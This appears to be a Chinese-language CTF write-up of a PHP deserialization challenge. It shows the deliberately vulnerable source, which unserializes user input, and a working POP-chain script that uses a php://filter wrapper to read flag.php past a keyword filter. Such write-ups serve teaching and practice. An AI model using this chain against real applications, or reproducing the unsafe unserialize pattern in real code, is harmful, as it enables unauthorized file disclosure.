单用类无法执行获取 flag.php,但是可以通过 POP 链构造获取
先看源码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
这里直接用 wakeup
Try_Work_Hard 的 include 进行文件包含
<?php
Road_is_Long:-wakeup.page
$page=new Road_is_Long
$string=new Make_a_Change
$effort=new Try_Work_Hard
$var='php://filter/read=convert.base64-
encode/resource=flag.php';
使用 php 数据流读取
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$a->page=$b;
$b->string=$c;
$c->effort=$d;
echo urlencode(serialize($a));